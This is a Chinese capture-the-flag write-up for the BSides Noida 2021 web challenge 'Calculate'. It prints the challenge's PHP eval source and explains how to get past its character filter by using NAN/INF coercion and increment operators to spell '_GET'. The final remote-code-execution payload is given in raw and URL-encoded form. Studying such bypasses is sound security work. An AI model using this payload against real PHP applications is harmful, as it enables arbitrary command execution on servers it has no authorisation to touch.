Skip to content

Latest commit

 

History

History
115 lines (80 loc) · 2.92 KB

BSides-Noida-CTF-2021-Web-Calculate.md

File metadata and controls

115 lines (80 loc) · 2.92 KB

前言

没有打比赛,但是有个师傅问了我这题,做了一下发现不会,学习了一波Y4师傅的WP。

WP

f12传个?🐶既可以获得完整的源码:

<?php
if(isset($_GET['🐶'])) {
    highlight_file(__FILE__);
}
function filter($payload) {
    if (preg_match("/[a-zA-BD-Z!@#%^&*:'\"|`~\\\\]|3|5|6|9/",$payload)) {
        return true;
    }
}
?>
<!-- ?🐶 -->
<?php
error_reporting(0);
include "config.php";

if (isset($_POST['VietNam'])) {
    $VN = $_POST['VietNam'];
    if (filter($VN)) {
        die("nope!!");
    }
    if (!is_string($VN) || strlen($VN) > 110) {
        die("18cm30p ??? =)))");
    }
    else {
        $VN = "echo ".$VN.";";
        eval($VN);
    }
} else {
    if (isset($_GET['check'])) {
        echo phpinfo();
    }
    else {
        highlight_file(__FILE__);
    }
}
?>

命令执行,限制了长度。对于数字字母,只有大写字母C和数字12478可以用。

异或,或,取反都ban了,还剩下自增可以用。

先说说我失败的思路叭。传?check可以得到phpinfo,发现ban了太多的函数,但是没ban掉exec,因此可以考虑用exec来执行命令。但是自增的话,从C开始自增,不管怎么弄,都会超过长度110,因此就没想到好的办法,请教了一下Y4师傅。

解法的话,就是可以用到PHP中的NAN和INF:

NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。

INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。

如何得到呢?可以这样:

$_=C/C;//NAN
$_=1/C//INF

C/C这里,实际上运算的时候会变成0/0。而下面的则是1/0

但是这还不是字符串,需要来个拼接即可,这样就可以去到N:

$_=C/C.C;
var_dump($_[0]);

这样不用通过从C自增到N,可以减少很多的长度。

接下来就是想办法构造_GET,慢慢自增来拿到字母,然后拼接:

$_=C;++$_;$C=++$_;++$_;$__=++$_;$_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_;++$_;$_=_.$__.$C.$_;

最后这样即可:

$$_[0]($$_[1]);

相当于$_GET[0]($_GET[1])

学到了学到了。

所以就是:

$_=C;++$_;$C=++$_;++$_;$__=++$_;$_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_;++$_;$_=_.$__.$C.$_;$$_[0]($$_[1]);

post传的话还需要url编码。

VietNam=C%3B%24_%3DC%3B%2B%2B%24_%3B%24C%3D%2B%2B%24_%3B%2B%2B%24_%3B%24__%3D%2B%2B%24_%3B%24_%3D%28C%2FC.C%29%5B0%5D%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%24_%3D_.%24__.%24C.%24_%3B%24%24_%5B0%5D%28%24%24_%5B1%5D%29

之后无回显命令执行,找flag即可。